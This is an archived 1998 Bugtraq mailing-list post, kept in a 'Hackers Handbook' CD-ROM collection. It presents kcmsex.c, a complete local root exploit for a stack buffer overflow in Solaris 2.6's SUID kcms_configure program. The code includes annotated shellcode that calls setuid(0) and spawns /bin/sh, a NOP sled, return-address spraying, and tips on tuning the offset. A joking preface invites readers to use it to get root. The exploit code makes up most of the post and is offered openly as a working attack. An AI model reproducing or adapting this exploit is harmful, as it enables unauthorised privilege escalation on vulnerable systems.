home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / kcmsex.c < prev    next >
Internet Message Format  |  1999-04-11  |  6KB

  1. Date: Wed, 23 Dec 1998 20:25:54 +0100
  2. From: Anonymous <nobody@REPLAY.COM>
  3. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  4. To: BUGTRAQ@netspace.org
  5. Subject: Merry Christmas to Sun! (Was: L0pht NFR N-Code Modules Updated)
  6.  
  7. On Fri, 18 Dec 1998, Dr. Mudge wrote:
  8.  
  9. > Now let's see... where did we stash those exploits that we were going to
  10. > give out as stocking stuffers... hrmmm.
  11.  
  12. While our good friend Mudge rummages about in his bag of Christmas
  13. goodies searching for a tasty snippet, I thought I would offer a small
  14. gift myself, lest I be considered the Grinch who stole Christmas.  If
  15. anyone's ever deserved coal in their stockings, it's the readers of this
  16. list!  But I digress.  Your gift this year?  Straight from my kitchen to
  17. your keyboard -- and much better than any fruitcake -- it's ... root on
  18. everyone's favorite OS!  What else?  Solaris!
  19.  
  20. It seems Sun's engineers indulged in a little too much "holiday cheer" in
  21. years past, and plumb forgot their good coding practices for privileged
  22. programs.  Yes readers, sprintf() and stack buffers in SUID root programs
  23. are a deadly cocktail.  This holiday season use a designated coder, and
  24. remember, sprintf() and SUID root don't mix.  So go ahead, snuggle up near
  25. a cozy fireplace, smash that UID of yours to 0, and be sure to send Sun a
  26. Christmas card next year.  Now wouldn't you much rather have this than
  27. a new pair of socks from your aunt?  I knew you did.
  28.  
  29.                                 Yours truly, ol' Saint Nick himself,
  30.  
  31.                                 Cheez Whiz
  32.                                 cheezbeast@hotmail.com
  33.  
  34. kcmsex.c  (a SPARC exploit is left as an exercise to the reader)
  35.  
  36. ----- cut here ----- cut here ----- cut here ----- cut here -----
  37.  
  38. /**
  39. ***  kcmsex - i386 Solaris root exploit for /usr/openwin/bin/kcms_configure
  40. ***
  41. ***  Tested and confirmed under Solaris 2.6 i386
  42. ***
  43. ***  Usage:  % kcmsex [offset]
  44. ***
  45. ***  where offset (if present) is the number of bytes to add to the stack
  46. ***  pointer to calculate your target return address; try -1000 to 1000 in
  47. ***  increments of 100 for starters.  Thanks go to Sun for cranking out
  48. ***  such sloppy privileged code.  Keep those holes a coming, boys!
  49. ***
  50. ***  Cheez Whiz
  51. ***  cheezbeast@hotmail.com
  52. ***
  53. ***  December 17, 1998
  54. **/
  55.  
  56. #include <stdio.h>
  57. #include <stdlib.h>
  58. #include <string.h>
  59. #include <unistd.h>
  60.  
  61. #define BUFLEN 500
  62. #define NOP 0x90
  63.  
  64. char shell[] =
  65. /*  0 */ "\xeb\x3b"                         /* jmp springboard       */
  66. /* syscall:                                                          */
  67. /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
  68. /*  9 */ "\xc3"                             /* ret                   */
  69. /* start:                                                            */
  70. /* 10 */ "\x5e"                             /* popl %esi             */
  71. /* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
  72. /* 13 */ "\x89\x46\xc1"                     /* movl %eax,-0x3f(%esi) */
  73. /* 16 */ "\x88\x46\xc6"                     /* movb %al,-0x3a(%esi)  */
  74. /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
  75. /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
  76. /* setuid:                                                           */
  77. /* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
  78. /* 27 */ "\x50"                             /* pushl %eax            */
  79. /* 28 */ "\xb0\x17"                         /* movb $0x17,%al        */
  80. /* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
  81. /* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
  82. /* execve:                                                           */
  83. /* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
  84. /* 40 */ "\x50"                             /* pushl %eax            */
  85. /* 41 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
  86. /* 44 */ "\x53"                             /* pushl %ebx            */
  87. /* 45 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
  88. /* 47 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
  89. /* 50 */ "\x53"                             /* pushl %ebx            */
  90. /* 51 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
  91. /* 53 */ "\xe8\xc8\xff\xff\xff"             /* call syscall          */
  92. /* 58 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
  93. /* springboard:                                                      */
  94. /* 61 */ "\xe8\xc8\xff\xff\xff"             /* call start            */
  95. /* data:                                                             */
  96. /* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
  97. /* 74 */ "\xff\xff\xff\xff"                 /* DATA                  */
  98. /* 78 */ "\xff\xff\xff\xff";                /* DATA                  */
  99.  
  100. char buf[BUFLEN];
  101. unsigned long int nop, esp;
  102. long int offset = 0;
  103.  
  104. unsigned long int
  105. get_esp()
  106. {
  107.     __asm__("movl %esp,%eax");
  108. }
  109.  
  110. void
  111. main (int argc, char *argv[])
  112. {
  113.     int i;
  114.  
  115.     if (argc > 1)
  116.         offset = strtol(argv[1], NULL, 0);
  117.  
  118.     if (argc > 2)
  119.         nop = strtoul(argv[2], NULL, 0);
  120.     else
  121.         nop = 285;
  122.  
  123.     esp = get_esp();
  124.  
  125.     memset(buf, NOP, BUFLEN);
  126.     memcpy(buf+nop, shell, strlen(shell));
  127.     for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
  128.         *((int *) &buf[i]) = esp+offset;
  129.  
  130.     printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
  131.            esp+offset, esp, offset, nop);
  132.     execl("/usr/openwin/bin/kcms_configure", "kcms_configure", "-P", buf,
  133.           "foofoo", NULL);
  134.  
  135.     printf("exec failed!\n");
  136.     return;
  137. }
  138.  
  139.